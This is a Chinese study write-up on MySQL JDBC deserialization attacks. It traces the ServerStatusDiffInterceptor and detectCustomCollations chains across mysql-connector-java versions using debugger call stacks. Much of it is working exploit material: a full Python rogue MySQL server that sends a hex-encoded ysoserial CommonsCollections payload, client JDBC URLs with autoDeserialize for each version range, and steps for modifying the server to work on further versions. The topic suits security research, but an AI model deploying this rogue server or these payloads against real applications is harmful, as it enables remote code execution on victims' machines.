JDBC攻击其一
2024-12-30 14:43:56 #Java

JDBC攻击学习记录1

JDBC简介

JDBC（Java DataBase Connectivity），是一种用于执行Sql语句的Java API，即Java数据库连接。

一般是数据库厂商会对接好Java API，使得开发人员可以使用统一的接口访问多种关系数据库

Java序列化魔数

这里的 AC ED 是魔数，00 05 是版本号。

image-20241224194855499

MySQL JDBC Attack

Mysql JDBC 中包含一个危险的扩展参数： ”autoDeserialize“。这个参数配置为 true 时，JDBC 客户端将会自动反序列化服务端返回的数据，这就产生了 RCE。

寻找readObject

直接看com.mysql.cj.jdbc.result.ResultSetImpl中的getObject函数

里面直接一个明晃晃的readObject了

注意在上面的if判断中判断力Java序列化文件的魔术：AC对应于-84 ，ED对应于-19

image-20241224213212873

调用getObject的方法在com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor.populateMapWithSessionStatusValues，

image-20241224214132377

一个rs.getObject函数

image-20241224214202842

注意rs是执行rs = stmt.executeQuery("SHOW SESSION STATUS");之后的返回结果，且声明为ResultSet接口

由Java多态，若部署一个恶意MySQL服务器，使得返回结果为ResultSetImpl实例，那么就能拼接到上述的getObject函数

从流量角度查看Mysql认证报文

起一个客户端去访问我们已经部署好的MySQL服务

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package org.example.jdbcdemo;


import java.sql.Connection;
import java.sql.DriverManager;
import java.sql.ResultSet;
import java.sql.Statement;
import com.mysql.cj.jdbc.result.ResultSetImpl;
import com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor;

public class jdbcMain {

    public static void main(String[] args) throws Exception{
        String Driver = "com.mysql.cj.jdbc.Driver";
        String DB_URL = "jdbc:mysql://127.0.0.1:3306/root?serverTimezone=Asia/Shanghai&useUnicode=true&characterEncoding=utf8&useSSL=false&queryInterceptors=com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor&autoDeserialize=true";

        // 加载JDBC驱动
        Class.forName(Driver);
        // 用户名和密码
        Connection connection = DriverManager.getConnection(DB_URL, "x", "x");
        Statement statement = connection.createStatement();
        // 执行MySQL语句
        ResultSet resultSet = statement.executeQuery("select * from users");
        // 如果有数据, rs.next()返回true
        while(resultSet.next()){
            System.out.println(resultSet.getString("user_id") + ":" + resultSet.getString("user"));
        }
    }

}

筛选mysql报文tcp.port==3306 && mysql

Request：MySQL Client -> MySQL Server

image-20241224221628844

image-20241224221545305

  • 返回内容，反正就是一坨，会在客户端反序列化

image-20241224221851238

  • reponse

一个MySQL Response OK报文如下：

07 00 00 01 00 00 00 02 00 00 00，即客户端只要接收到这几个字节就完成了一次MySQL交互

image-20241224220538329

ServerStatusDiffInterceptor链

查看一下mysql-connector-java的版本

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<dependency>
    <groupId>mysql</groupId>
    <artifactId>mysql-connector-java</artifactId>
    <version>8.0.16</version>
</dependency>

8.0.7-8.0.20

参考恶意server：https://xz.aliyun.com/t/8159?time__1311=n4%2BxnD0Dc7GQDtY40KDsA3xCq7KP4YvK0o%3DwXQx#toc-3

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# -*- coding:utf-8 -*-
#@Time : 2020/7/27 2:10
#@Author: Tri0mphe7
#@File : server.py
import socket
import binascii
import os

greeting_data="4a0000000a352e372e31390008000000463b452623342c2d00fff7080200ff811500000000000000000000032851553e5c23502c51366a006d7973716c5f6e61746976655f70617373776f726400"
response_ok_data="0700000200000002000000"

def receive_data(conn):
    data = conn.recv(1024)
    print("[*] Receiveing the package : {}".format(data))
    return str(data).lower()

def send_data(conn,data):
    print("[*] Sending the package : {}".format(data))
    conn.send(binascii.a2b_hex(data))

def get_payload_content():
    #file文件的内容使用ysoserial生成的 使用规则  java -jar ysoserial [common7那个]  "calc" > a 
    file= r'a'
    if os.path.isfile(file):
        with open(file, 'rb') as f:
            payload_content = str(binascii.b2a_hex(f.read()),encoding='utf-8')
        print("open successs")

    else:
        print("open false")
        #calc
        payload_content='aced0005737200116a6176612e7574696c2e48617368536574ba44859596b8b7340300007870770c000000023f40000000000001737200346f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e6b657976616c75652e546965644d6170456e7472798aadd29b39c11fdb0200024c00036b65797400124c6a6176612f6c616e672f4f626a6563743b4c00036d617074000f4c6a6176612f7574696c2f4d61703b7870740003666f6f7372002a6f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e6d61702e4c617a794d61706ee594829e7910940300014c0007666163746f727974002c4c6f72672f6170616368652f636f6d6d6f6e732f636f6c6c656374696f6e732f5472616e73666f726d65723b78707372003a6f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e66756e63746f72732e436861696e65645472616e73666f726d657230c797ec287a97040200015b000d695472616e73666f726d65727374002d5b4c6f72672f6170616368652f636f6d6d6f6e732f636f6c6c656374696f6e732f5472616e73666f726d65723b78707572002d5b4c6f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e5472616e73666f726d65723bbd562af1d83418990200007870000000057372003b6f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e66756e63746f72732e436f6e7374616e745472616e73666f726d6572587690114102b1940200014c000969436f6e7374616e7471007e00037870767200116a6176612e6c616e672e52756e74696d65000000000000000000000078707372003a6f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e66756e63746f72732e496e766f6b65725472616e73666f726d657287e8ff6b7b7cce380200035b000569417267737400135b4c6a6176612f6c616e672f4f626a6563743b4c000b694d6574686f644e616d657400124c6a6176612f6c616e672f537472696e673b5b000b69506172616d54797065737400125b4c6a6176612f6c616e672f436c6173733b7870757200135b4c6a6176612e6c616e672e4f626a6563743b90ce589f1073296c02000078700000000274000a67657452756e74696d65757200125b4c6a6176612e6c616e672e436c6173733bab16d7aecbcd5a990200007870000000007400096765744d6574686f647571007e001b00000002767200106a6176612e6c616e672e537472696e67a0f0a4387a3bb34202000078707671007e001b7371007e00137571007e001800000002707571007e001800000000740006696e766f6b657571007e001b00000002767200106a6176612e6c616e672e4f626a656374000000000000000000000078707671007e00187371007e0013757200135b4c6a6176612e6c616e672e537472696e673badd256e7e91d7b4702000078700000000174000463616c63740004657865637571007e001b0000000171007e00207371007e000f737200116a6176612e6c616e672e496e746567657212e2a0a4f781873802000149000576616c7565787200106a6176612e6c616e672e4e756d62657286ac951d0b94e08b020000787000000001737200116a6176612e7574696c2e486173684d61700507dac1c31660d103000246000a6c6f6164466163746f724900097468726573686f6c6478703f4000000000000077080000001000000000787878'
    return payload_content

# 主要逻辑
def run():

    while 1:
        conn, addr = sk.accept()
        print("Connection come from {}:{}".format(addr[0],addr[1]))

        # 1.先发送第一个 问候报文
        send_data(conn,greeting_data)

        while True:
            # 登录认证过程模拟  1.客户端发送request login报文 2.服务端响应response_ok
            receive_data(conn)
            send_data(conn,response_ok_data)

            #其他过程
            data=receive_data(conn)
            #查询一些配置信息,其中会发送自己的 版本号
            if "session.auto_increment_increment" in data:
                _payload='01000001132e00000203646566000000186175746f5f696e6372656d656e745f696e6372656d656e74000c3f001500000008a0000000002a00000303646566000000146368617261637465725f7365745f636c69656e74000c21000c000000fd00001f00002e00000403646566000000186368617261637465725f7365745f636f6e6e656374696f6e000c21000c000000fd00001f00002b00000503646566000000156368617261637465725f7365745f726573756c7473000c21000c000000fd00001f00002a00000603646566000000146368617261637465725f7365745f736572766572000c210012000000fd00001f0000260000070364656600000010636f6c6c6174696f6e5f736572766572000c210033000000fd00001f000022000008036465660000000c696e69745f636f6e6e656374000c210000000000fd00001f0000290000090364656600000013696e7465726163746976655f74696d656f7574000c3f001500000008a0000000001d00000a03646566000000076c6963656e7365000c210009000000fd00001f00002c00000b03646566000000166c6f7765725f636173655f7461626c655f6e616d6573000c3f001500000008a0000000002800000c03646566000000126d61785f616c6c6f7765645f7061636b6574000c3f001500000008a0000000002700000d03646566000000116e65745f77726974655f74696d656f7574000c3f001500000008a0000000002600000e036465660000001071756572795f63616368655f73697a65000c3f001500000008a0000000002600000f036465660000001071756572795f63616368655f74797065000c210009000000fd00001f00001e000010036465660000000873716c5f6d6f6465000c21009b010000fd00001f000026000011036465660000001073797374656d5f74696d655f7a6f6e65000c21001b000000fd00001f00001f000012036465660000000974696d655f7a6f6e65000c210012000000fd00001f00002b00001303646566000000157472616e73616374696f6e5f69736f6c6174696f6e000c21002d000000fd00001f000022000014036465660000000c776169745f74696d656f7574000c3f001500000008a000000000020100150131047574663804757466380475746638066c6174696e31116c6174696e315f737765646973685f6369000532383830300347504c013107343139343330340236300731303438353736034f4646894f4e4c595f46554c4c5f47524f55505f42592c5354524943545f5452414e535f5441424c45532c4e4f5f5a45524f5f494e5f444154452c4e4f5f5a45524f5f444154452c4552524f525f464f525f4449564953494f4e5f42595f5a45524f2c4e4f5f4155544f5f4352454154455f555345522c4e4f5f454e47494e455f535542535449545554494f4e0cd6d0b9fab1ead7bccab1bce4062b30383a30300f52455045415441424c452d5245414405323838303007000016fe000002000000'
                send_data(conn,_payload)
                data=receive_data(conn)
            elif "show warnings" in data:
                _payload = '01000001031b00000203646566000000054c6576656c000c210015000000fd01001f00001a0000030364656600000004436f6465000c3f000400000003a1000000001d00000403646566000000074d657373616765000c210000060000fd01001f000059000005075761726e696e6704313238374b27404071756572795f63616368655f73697a6527206973206465707265636174656420616e642077696c6c2062652072656d6f76656420696e2061206675747572652072656c656173652e59000006075761726e696e6704313238374b27404071756572795f63616368655f7479706527206973206465707265636174656420616e642077696c6c2062652072656d6f76656420696e2061206675747572652072656c656173652e07000007fe000002000000'
                send_data(conn, _payload)
                data = receive_data(conn)
            if "set names" in data:
                send_data(conn, response_ok_data)
                data = receive_data(conn)
            if "set character_set_results" in data:
                send_data(conn, response_ok_data)
                data = receive_data(conn)
            if "show session status" in data:
                mysql_data = '0100000102'
                mysql_data += '1a000002036465660001630163016301630c3f00ffff0000fc9000000000'
                mysql_data += '1a000003036465660001630163016301630c3f00ffff0000fc9000000000'
                # 为什么我加了EOF Packet 就无法正常运行呢？？
                # 获取payload
                payload_content=get_payload_content()
                # 计算payload长度
                payload_length = str(hex(len(payload_content)//2)).replace('0x', '').zfill(4)
                payload_length_hex = payload_length[2:4] + payload_length[0:2]
                # 计算数据包长度
                data_len = str(hex(len(payload_content)//2 + 4)).replace('0x', '').zfill(6)
                data_len_hex = data_len[4:6] + data_len[2:4] + data_len[0:2]
                mysql_data += data_len_hex + '04' + 'fbfc'+ payload_length_hex
                mysql_data += str(payload_content)
                mysql_data += '07000005fe000022000100'
                send_data(conn, mysql_data)
                data = receive_data(conn)
            if "show warnings" in data:
                payload = '01000001031b00000203646566000000054c6576656c000c210015000000fd01001f00001a0000030364656600000004436f6465000c3f000400000003a1000000001d00000403646566000000074d657373616765000c210000060000fd01001f00006d000005044e6f74650431313035625175657279202753484f572053455353494f4e20535441545553272072657772697474656e20746f202773656c6563742069642c6f626a2066726f6d2063657368692e6f626a73272062792061207175657279207265777269746520706c7567696e07000006fe000002000000'
                send_data(conn, payload)
            break


if __name__ == '__main__':
    HOST ='0.0.0.0'
    PORT = 3309

    sk = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    #当socket关闭后，本地端用于该socket的端口号立刻就可以被重用.为了实验的时候不用等待很长时间
    sk.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
    sk.bind((HOST, PORT))
    sk.listen(1)

    print("start fake mysql server listening on {}:{}".format(HOST,PORT))

    run()

假设我们客户端上有CC3.1的依赖，我们打CC7

image-20241225111302009

我们打断点调试一下

调用堆栈如下：

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getObject:1237, ResultSetImpl (com.mysql.cj.jdbc.result)
resultSetToMap:46, ResultSetUtil (com.mysql.cj.jdbc.util)
populateMapWithSessionStatusValues:87, ServerStatusDiffInterceptor (com.mysql.cj.jdbc.interceptors)
preProcess:105, ServerStatusDiffInterceptor (com.mysql.cj.jdbc.interceptors)
preProcess:76, NoSubInterceptorWrapper (com.mysql.cj)
invokeQueryInterceptorsPre:1144, NativeProtocol (com.mysql.cj.protocol.a)
sendQueryPacket:970, NativeProtocol (com.mysql.cj.protocol.a)
sendQueryString:921, NativeProtocol (com.mysql.cj.protocol.a)
execSQL:1165, NativeSession (com.mysql.cj)
setAutoCommit:2064, ConnectionImpl (com.mysql.cj.jdbc)
handleAutoCommitDefaults:1382, ConnectionImpl (com.mysql.cj.jdbc)
initializePropsFromServer:1327, ConnectionImpl (com.mysql.cj.jdbc)
connectOneTryOnly:966, ConnectionImpl (com.mysql.cj.jdbc)
createNewIO:825, ConnectionImpl (com.mysql.cj.jdbc)
<init>:455, ConnectionImpl (com.mysql.cj.jdbc)
getInstance:240, ConnectionImpl (com.mysql.cj.jdbc)
connect:199, NonRegisteringDriver (com.mysql.cj.jdbc)
getConnection:664, DriverManager (java.sql)
getConnection:270, DriverManager (java.sql)
main:32, jdbcMain (org.example.jdbcdemo)

在主函数中加载驱动后，调用驱动的getConnection函数

image-20241225113621635

创建ConnectionImpl实例，在其构造方法中创建了新的IO

image-20241225114129125

image-20241225114209016

在创建IO后发起ConnectOneTryOnly连接

image-20241225114603132

然后this.session.connect尝试建立连接，参数都放好了

oldAutoCommit, oldIsolationLevel, oldReadOnly, oldCatalog：保存当前连接的一些属性（如自动提交模式、事务隔离级别、只读模式和目录）以便之后可能恢复这些设置

this.session.setQueryInterceptors(this.queryInterceptors)：设置查询拦截器，用来执行查询时进行某些处理或修改

this.initializePropsFromServer：从服务器初始化连接的相关属性，配置会话参数

image-20241225114747496

跟进到initializePropsFromServer函数

判断是否加载connectionInterceptorClasses，同时设置服务参数

进入处理数据库连接的自动提交（autoCommit）默认设置的handleAutoCommitDefaults函数

image-20241225144521063

跟进setter

image-20241225144859388

在setAutoCommit中封装了execSQL，执行了SET autocommit=1

image-20241225145745948

在execSQL中封装了sendQueryString，再封装成sendQueryPacket，经由套接字对象发送

image-20241225145849582

值得注意的是再sendPacket中会判断是否有拦截器

还记得我们客户端的代码中指定了拦截器吗：queryInterceptors=com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor

然后invokePre，调用PreProcess，最后调用到populateMapWithSessionStatusValues，然后就是ResultSetImpl的getObject

image-20241225150306224

image-20241225150447521

5.1.0-5.1.10

测试版本为5.1.5

payload如下，在8以下的版本中需要将queryInterceptors修改为statementInterceptors

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String url = "jdbc:mysql://127.0.0.1:3306/test?autoDeserialize=true&statementInterceptors=com.mysql.jdbc.interceptors.ServerStatusDiffInterceptor&user=CommonsCollections7";
String username = "CommonsCollections7";
String password = "CommonsCollections7";
Class.forName("com.mysql.jdbc.Driver");
Connection conn = DriverManager.getConnection(url,username,password);
String sql = "select database()";
PreparedStatement ps = conn.prepareStatement(sql);
ResultSet resultSet = ps.executeQuery();

拦截器invoke的pre和post两个阶段均会调用到这个gadget

image-20241225161553802

image-20241225162046364

5.1.11 - 5.x.xx

测试版本为5.1.20

payload如下：

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String url = "jdbc:mysql://127.0.0.1:3306/test?autoDeserialize=true&statementInterceptors=com.mysql.jdbc.interceptors.ServerStatusDiffInterceptor";
String username = "CommonsCollections7";
String password = "123";
Class.forName("com.mysql.jdbc.Driver");
Connection conn = DriverManager.getConnection(url,username,password);

调试过程大差不差

invokeStatementInterceptorsPre

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populateMapWithSessionStatusValues:77, ServerStatusDiffInterceptor (com.mysql.jdbc.interceptors)
preProcess:93, ServerStatusDiffInterceptor (com.mysql.jdbc.interceptors)
preProcess:54, V1toV2StatementInterceptorAdapter (com.mysql.jdbc)
preProcess:67, NoSubInterceptorWrapper (com.mysql.jdbc)
invokeStatementInterceptorsPre:2880, MysqlIO (com.mysql.jdbc)
sqlQueryDirect:2544, MysqlIO (com.mysql.jdbc)
execSQL:2677, ConnectionImpl (com.mysql.jdbc)
execSQL:2627, ConnectionImpl (com.mysql.jdbc)
executeQuery:1556, StatementImpl (com.mysql.jdbc)
loadServerVariables:3898, ConnectionImpl (com.mysql.jdbc)
initializePropsFromServer:3443, ConnectionImpl (com.mysql.jdbc)
connectOneTryOnly:2443, ConnectionImpl (com.mysql.jdbc)
createNewIO:2213, ConnectionImpl (com.mysql.jdbc)
<init>:797, ConnectionImpl (com.mysql.jdbc)
<init>:47, JDBC4Connection (com.mysql.jdbc)
newInstance0:-1, NativeConstructorAccessorImpl (sun.reflect)
newInstance:62, NativeConstructorAccessorImpl (sun.reflect)
newInstance:45, DelegatingConstructorAccessorImpl (sun.reflect)
newInstance:408, Constructor (java.lang.reflect)
handleNewInstance:411, Util (com.mysql.jdbc)
getInstance:389, ConnectionImpl (com.mysql.jdbc)
connect:305, NonRegisteringDriver (com.mysql.jdbc)
getConnection:664, DriverManager (java.sql)
getConnection:247, DriverManager (java.sql)
main:35, jdbcMain (org.example.jdbcdemo)

invokeStatementInterceptorsPost：

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populateMapWithSessionStatusValues:77, ServerStatusDiffInterceptor (com.mysql.jdbc.interceptors)
postProcess:54, ServerStatusDiffInterceptor (com.mysql.jdbc.interceptors)
postProcess:36, V1toV2StatementInterceptorAdapter (com.mysql.jdbc)
postProcess:58, NoSubInterceptorWrapper (com.mysql.jdbc)
invokeStatementInterceptorsPost:2908, MysqlIO (com.mysql.jdbc)
sqlQueryDirect:2820, MysqlIO (com.mysql.jdbc)
execSQL:2677, ConnectionImpl (com.mysql.jdbc)
execSQL:2627, ConnectionImpl (com.mysql.jdbc)
executeQuery:1556, StatementImpl (com.mysql.jdbc)
loadServerVariables:3898, ConnectionImpl (com.mysql.jdbc)
initializePropsFromServer:3443, ConnectionImpl (com.mysql.jdbc)
connectOneTryOnly:2443, ConnectionImpl (com.mysql.jdbc)
createNewIO:2213, ConnectionImpl (com.mysql.jdbc)
<init>:797, ConnectionImpl (com.mysql.jdbc)
<init>:47, JDBC4Connection (com.mysql.jdbc)
newInstance0:-1, NativeConstructorAccessorImpl (sun.reflect)
newInstance:62, NativeConstructorAccessorImpl (sun.reflect)
newInstance:45, DelegatingConstructorAccessorImpl (sun.reflect)
newInstance:408, Constructor (java.lang.reflect)
handleNewInstance:411, Util (com.mysql.jdbc)
getInstance:389, ConnectionImpl (com.mysql.jdbc)
connect:305, NonRegisteringDriver (com.mysql.jdbc)
getConnection:664, DriverManager (java.sql)
getConnection:247, DriverManager (java.sql)
main:35, jdbcMain (org.example.jdbcdemo)
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populateMapWithSessionStatusValues:77, ServerStatusDiffInterceptor (com.mysql.jdbc.interceptors)
preProcess:93, ServerStatusDiffInterceptor (com.mysql.jdbc.interceptors)
preProcess:54, V1toV2StatementInterceptorAdapter (com.mysql.jdbc)
preProcess:67, NoSubInterceptorWrapper (com.mysql.jdbc)
invokeStatementInterceptorsPre:2880, MysqlIO (com.mysql.jdbc)
sqlQueryDirect:2544, MysqlIO (com.mysql.jdbc)
execSQL:2677, ConnectionImpl (com.mysql.jdbc)
execSQL:2627, ConnectionImpl (com.mysql.jdbc)
executeQuery:1556, StatementImpl (com.mysql.jdbc)
loadServerVariables:3909, ConnectionImpl (com.mysql.jdbc)
initializePropsFromServer:3443, ConnectionImpl (com.mysql.jdbc)
connectOneTryOnly:2443, ConnectionImpl (com.mysql.jdbc)
createNewIO:2213, ConnectionImpl (com.mysql.jdbc)
<init>:797, ConnectionImpl (com.mysql.jdbc)
<init>:47, JDBC4Connection (com.mysql.jdbc)
newInstance0:-1, NativeConstructorAccessorImpl (sun.reflect)
newInstance:62, NativeConstructorAccessorImpl (sun.reflect)
newInstance:45, DelegatingConstructorAccessorImpl (sun.reflect)
newInstance:408, Constructor (java.lang.reflect)
handleNewInstance:411, Util (com.mysql.jdbc)
getInstance:389, ConnectionImpl (com.mysql.jdbc)
connect:305, NonRegisteringDriver (com.mysql.jdbc)
getConnection:664, DriverManager (java.sql)
getConnection:247, DriverManager (java.sql)
main:35, jdbcMain (org.example.jdbcdemo)

6.x

测试版本：6.0.5

mysql-connector-java 6.x此利用链与上述5.1.11-5.x.xx完全相同，仅因更改jdbc包，由com.mysql.jdbc改为com.mysql.cj.jdbc。

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String url = "jdbc:mysql://127.0.0.1:3306/test?autoDeserialize=true&statementInterceptors=com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor";
String username = "CommonsCollections7";
String password = "123";
Class.forName("com.mysql.cj.jdbc.Driver");
Connection conn = DriverManager.getConnection(url,username,password);

8.0.20以后

直接不调用getObject了，所以无了

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private void populateMapWithSessionStatusValues(Map<String, String> toPopulate) {
       try {
           Statement stmt = this.connection.createStatement();
           Throwable var3 = null;

           try {
               toPopulate.clear();
               ResultSet rs = stmt.executeQuery("SHOW SESSION STATUS");
               Throwable var5 = null;

               try {
                   while(rs.next()) {
                       toPopulate.put(rs.getString(1), rs.getString(2));
                   }
               } catch (Throwable var30) {
                   var5 = var30;
                   throw var30;
               } finally {
                   if (rs != null) {
                       if (var5 != null) {
                           try {
                               rs.close();
                           } catch (Throwable var29) {
                               var5.addSuppressed(var29);
                           }
                       } else {
                           rs.close();
                       }
                   }

               }
           } catch (Throwable var32) {
               var3 = var32;
               throw var32;
           } finally {
               if (stmt != null) {
                   if (var3 != null) {
                       try {
                           stmt.close();
                       } catch (Throwable var28) {
                           var3.addSuppressed(var28);
                       }
                   } else {
                       stmt.close();
                   }
               }

           }

       } catch (SQLException var34) {
           throw ExceptionFactory.createException(var34.getMessage(), var34);
       }
   }

detectCustomCollations链

6.0.2-6.0.6

测试版本：6.0.5

启用detectCustomCollations功能

detectCustomCollations 是一个用于检测和处理自定义排序规则（collations）的方法或功能，通常出现在数据库系统中，特别是关系型数据库如 MySQL 或 SQL Server

demo如下

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package org.example.MySQLJDBCAttackDemo;

import java.sql.Connection;
import java.sql.DriverManager;

public class detectCustomCollations_Demo {

    public static void main(String[] args) throws Exception{
        String driver = "com.mysql.jdbc.Driver";
        String url = "jdbc:mysql://127.0.0.1:3306/test?detectCustomCollations=true&autoDeserialize=true";
        String username = "CommonsCollections7";
        String password = "CommonsCollections7";
        Class.forName(driver);
        Connection connection = DriverManager.getConnection(url, username, password);

    }

}

调用堆栈

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resultSetToMap:119, ResultSetUtil (com.mysql.cj.jdbc.util)
buildCollationMapping:746, ConnectionImpl (com.mysql.cj.jdbc)
initializePropsFromServer:2385, ConnectionImpl (com.mysql.cj.jdbc)
connectOneTryOnly:1739, ConnectionImpl (com.mysql.cj.jdbc)
createNewIO:1596, ConnectionImpl (com.mysql.cj.jdbc)
<init>:633, ConnectionImpl (com.mysql.cj.jdbc)
getInstance:347, ConnectionImpl (com.mysql.cj.jdbc)
connect:219, NonRegisteringDriver (com.mysql.cj.jdbc)
getConnection:664, DriverManager (java.sql)
getConnection:247, DriverManager (java.sql)
main:14, detectCustomCollations_Demo (org.example.MySQLJDBCAttackDemo)

主要是buildCollationMapping中会发起一次SHOW COLLATION的请求，然后返回结果的时候需要进行ResultSetImpl的getObject

image-20241226231958389

image-20241226232306626

8.x.x

buildCollationMapping:920, NativeSession中

ResultSet采用了NativeResultset类，已经不是ResultSetImpl，后续的链子也就断了

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buildCollationMapping:920, NativeSession (com.mysql.cj)
initializePropsFromServer:1311, ConnectionImpl (com.mysql.cj.jdbc)
connectOneTryOnly:966, ConnectionImpl (com.mysql.cj.jdbc)
createNewIO:825, ConnectionImpl (com.mysql.cj.jdbc)
<init>:455, ConnectionImpl (com.mysql.cj.jdbc)
getInstance:240, ConnectionImpl (com.mysql.cj.jdbc)
connect:207, NonRegisteringDriver (com.mysql.cj.jdbc)
getConnection:664, DriverManager (java.sql)
getConnection:247, DriverManager (java.sql)
main:14, detectCustomCollations_Demo (org.example.MySQLJDBCAttackDemo)

image-20241226233805524

5.1.49

直接不调用resultSeToMap，没有getObject，所以无了

image-20241226235555251

5.1.41-5.1.48

测试版本：5.1.45

payload还是之前那样

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String driver = "com.mysql.jdbc.Driver";
String url = "jdbc:mysql://127.0.0.1:3306/test?detectCustomCollations=true&autoDeserialize=true";
String username = "CommonsCollections7";
String password = "CommonsCollections7";
Class.forName(driver);
Connection connection = DriverManager.getConnection(url, username, password);

但是报错了

image-20241227111715181

调用堆栈如下

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getObjectDeserializingIfNeeded:4569, ResultSetImpl (com.mysql.jdbc)
getObject:4539, ResultSetImpl (com.mysql.jdbc)
buildCollationMapping:921, ConnectionImpl (com.mysql.jdbc)
initializePropsFromServer:3236, ConnectionImpl (com.mysql.jdbc)
connectOneTryOnly:2232, ConnectionImpl (com.mysql.jdbc)
createNewIO:2014, ConnectionImpl (com.mysql.jdbc)
<init>:776, ConnectionImpl (com.mysql.jdbc)
<init>:47, JDBC4Connection (com.mysql.jdbc)
newInstance0:-1, NativeConstructorAccessorImpl (sun.reflect)
newInstance:62, NativeConstructorAccessorImpl (sun.reflect)
newInstance:45, DelegatingConstructorAccessorImpl (sun.reflect)
newInstance:408, Constructor (java.lang.reflect)
handleNewInstance:425, Util (com.mysql.jdbc)
getInstance:386, ConnectionImpl (com.mysql.jdbc)
connect:330, NonRegisteringDriver (com.mysql.jdbc)
getConnection:664, DriverManager (java.sql)
getConnection:247, DriverManager (java.sql)
main:23, detectCustomCollations_Demo (org.example.MySQLJDBCAttackDemo)

我们跟进一下代码，不难发现getObject硬编码指定了索引

image-20241227111900584

[50,51,51,51] 对应于server.py中的2333

image-20241227111007184

所以去改改server.py的第三个位置为content，即可打反序列化

image-20241227115515967

成功！

image-20241227115544955

5.1.29 - 5.1.40

测试版本：5.1.35

payload

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String driver = "com.mysql.jdbc.Driver";
String url = "jdbc:mysql://127.0.0.1:3306/test?detectCustomCollations=true&autoDeserialize=true";
String username = "CommonsCollections7";
String password = "CommonsCollections7";
Class.forName(driver);
Connection connection = DriverManager.getConnection(url, username, password);

调用堆栈如图

image-20241227141758429

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resultSetToMap:458, Util (com.mysql.jdbc)
buildCollationMapping:947, ConnectionImpl (com.mysql.jdbc)
initializePropsFromServer:3282, ConnectionImpl (com.mysql.jdbc)
connectOneTryOnly:2283, ConnectionImpl (com.mysql.jdbc)
createNewIO:2069, ConnectionImpl (com.mysql.jdbc)
<init>:794, ConnectionImpl (com.mysql.jdbc)
<init>:44, JDBC4Connection (com.mysql.jdbc)
newInstance0:-1, NativeConstructorAccessorImpl (sun.reflect)
newInstance:62, NativeConstructorAccessorImpl (sun.reflect)
newInstance:45, DelegatingConstructorAccessorImpl (sun.reflect)
newInstance:408, Constructor (java.lang.reflect)
handleNewInstance:389, Util (com.mysql.jdbc)
getInstance:399, ConnectionImpl (com.mysql.jdbc)
connect:325, NonRegisteringDriver (com.mysql.jdbc)
getConnection:664, DriverManager (java.sql)
getConnection:247, DriverManager (java.sql)
main:16, detectCustomCollations_Demo (org.example.MySQLJDBCAttackDemo)

5.1.19-5.1.28

测试版本：5.1.25

payload同，调用堆栈如下

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resultSetToMap:507, Util (com.mysql.jdbc)
buildCollationMapping:1004, ConnectionImpl (com.mysql.jdbc)
initializePropsFromServer:3590, ConnectionImpl (com.mysql.jdbc)
connectOneTryOnly:2531, ConnectionImpl (com.mysql.jdbc)
createNewIO:2301, ConnectionImpl (com.mysql.jdbc)
<init>:834, ConnectionImpl (com.mysql.jdbc)
<init>:47, JDBC4Connection (com.mysql.jdbc)
newInstance0:-1, NativeConstructorAccessorImpl (sun.reflect)
newInstance:62, NativeConstructorAccessorImpl (sun.reflect)
newInstance:45, DelegatingConstructorAccessorImpl (sun.reflect)
newInstance:408, Constructor (java.lang.reflect)
handleNewInstance:411, Util (com.mysql.jdbc)
getInstance:416, ConnectionImpl (com.mysql.jdbc)
connect:346, NonRegisteringDriver (com.mysql.jdbc)
getConnection:664, DriverManager (java.sql)
getConnection:247, DriverManager (java.sql)
main:16, detectCustomCollations_Demo (org.example.MySQLJDBCAttackDemo)

5.1.19以下

哈哈没有getObject，链子断了无了

image-20241227142513181

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